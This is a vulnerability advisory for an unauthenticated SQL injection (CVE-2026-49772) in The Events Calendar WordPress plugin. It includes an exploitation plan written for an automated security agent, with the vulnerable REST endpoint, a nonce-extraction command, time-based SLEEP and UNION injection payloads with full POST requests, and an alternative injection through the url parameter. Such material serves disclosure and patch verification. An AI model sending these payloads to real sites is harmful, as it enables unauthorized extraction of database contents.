The Events Calendar 6.15.12-6.16.2 - Unauthenticated SQL Injection
Description
The The Events Calendar plugin for WordPress is vulnerable to SQL Injection in versions up to 6.15.12-6.16.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
>=6.15.12 <=6.16.2What Changed in the Fix
Changes introduced in v6.16.3
Source Code
WordPress.org SVNThis exploitation research plan is designed to guide an automated security agent in verifying **CVE-2026-49772**, a SQL injection vulnerability in **The Events Calendar** plugin. ### 1. Vulnerability Summary * **Vulnerability Type:** Unauthenticated SQL Injection (Union-Based or Time-Based). * …
Show full research plan
This exploitation research plan is designed to guide an automated security agent in verifying CVE-2026-49772, a SQL injection vulnerability in The Events Calendar plugin.
1. Vulnerability Summary
- Vulnerability Type: Unauthenticated SQL Injection (Union-Based or Time-Based).
- Affected Component: The V2 Views REST API endpoint (
tribe/views/v2/html). - Vulnerable Versions: 6.15.12 to 6.16.2.
- Cause: The plugin processes the
view_dataparameter (specifically category filters) without utilizing$wpdb->prepare()or adequate sanitization before incorporating the values into an internal SQL query used to determine category-specific styling (Category Colors) or event filtering.
2. Attack Vector Analysis
- Endpoint:
/wp-json/tribe/views/v2/html - HTTP Method:
POST(typically used by the V2 Views system to update the calendar display). - Vulnerable Parameter:
view_data[categories]orview_data[tribe_event_category]. - Authentication: Unauthenticated. The V2 Views API is public by design to support AJAX-driven calendar navigation for visitors.
- Preconditions: The "Category Colors" feature must be active, or the view must be filtering by a category.
3. Code Flow (Trace)
- Entry Point: An unauthenticated user sends a
POSTrequest to/wp-json/tribe/views/v2/html. - REST Dispatch: The request is handled by
TEC\Events\Views\V2\Rest_Endpoints\Html_Endpoint(inferred). - Data Processing: The
view_dataarray is extracted from the request. - Vulnerable Sink: The backend logic for rendering the "Category Color Selector" (referenced in
build/js/views/category-color-selector.js) or the main event query retrieves category metadata. If the plugin attempts to fetch the color associated with the requested categories, it likely executes a query similar to:SELECT * FROM wp_options WHERE option_name LIKE 'tribe_category_color_%' AND option_value IN ('" . $category_id . "') - SQL Injection: Because
$category_id(derived fromview_data) is concatenated without escaping, an attacker can break out of the string and append SQL commands.
4. Nonce Acquisition Strategy
While many REST endpoints are protected by _wpnonce, the public Views API often permits unauthenticated access. However, if a nonce is required for the v2/html endpoint, follow this strategy:
- Identify Trigger: The "Category Color Selector" script is localized when the Events page is loaded.
- Setup Test Page: Create a standard events page.
- Command:
wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[tribe_events]'
- Command:
- Navigate: Use
browser_navigateto the new page. - Extract Nonce: The V2 Views system localizes data into a JavaScript object.
- Agent Command:
browser_eval("window.tribe_events_views_v2_vars?.rest_nonce || window.wpApiSettings?.nonce")
- Agent Command:
- Note: The action string used in the backend for this nonce is typically
'wp_rest'.
5. Exploitation Strategy
The agent should perform the following steps using the http_request tool:
- Step 1: Confirm Injection (Time-Based)
Submit a payload designed to cause a noticeable delay.- Payload:
1') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Request:
POST /wp-json/tribe/views/v2/html Content-Type: application/x-www-form-urlencoded view=list&view_data[categories][0]=1') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- Payload:
- Step 2: Data Extraction (Union-Based)
If the endpoint returns HTML containing category information, attempt to leak the database version.- Payload:
1') UNION SELECT 1,version(),3,4,5,6,7-- -(Adjust column count as needed).
- Payload:
6. Test Data Setup
To ensure the code path is hit:
- Create Categories:
wp term create event_category "Security" --slug=security
- Create Event: Create at least one event assigned to that category.
wp post create --post_type=tribe_events --post_title="Research Symposium" --post_status=publishwp post term set [POST_ID] security event_category
- Enable Feature: Ensure V2 Views are enabled in Events -> Settings.
7. Expected Results
- Successful Injection: The server response time will exceed 5 seconds when the
SLEEP(5)payload is sent. - Failed Attempt: The server returns a
200 OKor400 Bad Requestalmost immediately (under 1 second), or the response contains a SQL error ifWP_DEBUGis enabled.
8. Verification Steps
After the HTTP request, verify the vulnerability by auditing the database logs:
- Enable Query Logging:
wp eval "global \$wpdb; \$wpdb->query('SET GLOBAL general_log = 1');" - Check Log: Inspect the MySQL general log to see the literal string including the
SLEEPcommand being executed. - Version Check: Confirm the installed version is between 6.15.12 and 6.16.2.
9. Alternative Approaches
- Parameter Variation: If
view_data[categories]is sanitized, test theurlparameter. The V2 Views system often parses theurlparameter to reconstruct the view state.- Example:
POST /wp-json/tribe/views/v2/html?url=/events/category/security') AND SLEEP(5)-- -/
- Example:
- Shortcode Injection: If the REST API is hardened, test the same parameters via the
[tribe_events]shortcode if it supports AJAX pagination.
Summary
The Events Calendar plugin (6.15.12-6.16.2) is vulnerable to an unauthenticated SQL injection via the tribe/views/v2/html REST API endpoint. The vulnerability arises from insufficient sanitization and a lack of SQL preparation when processing category filters within the view_data parameter, allowing for the extraction of sensitive database information.
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array(), 'version' => '3596e03221d71f8c2785'); +<?php return array('dependencies' => array(), 'version' => '52b904c19ce12a16e6e9'); @@ -1 +1 @@ -window.tribe=window.tribe||{},window.tribe.events=window.tribe.events||{},window.tribe.events.categoryColors=window.tribe.events.categoryColors||{},tribe.events.categoryColors.categoryPicker=function(){...} +window.tribe=window.tribe||{},window.tribe.events=window.tribe.events||{},window.tribe.events.categoryColors=window.tribe.events.categoryColors||{},tribe.events.categoryColors.categoryPicker=function(){...} ... (truncated)
Exploit Outline
The exploit targets the public V2 Views REST API. An unauthenticated attacker sends a POST request to `/wp-json/tribe/views/v2/html`. The payload is placed within the `view_data[categories]` or `view_data[tribe_event_category]` parameter, which is improperly handled when the plugin generates SQL to filter events or determine category-specific styling (such as colors). By including a SQL injection payload like `1') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`, an attacker can break out of the intended query and execute arbitrary commands. This is typically achieved using time-based techniques to confirm the vulnerability and extract data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.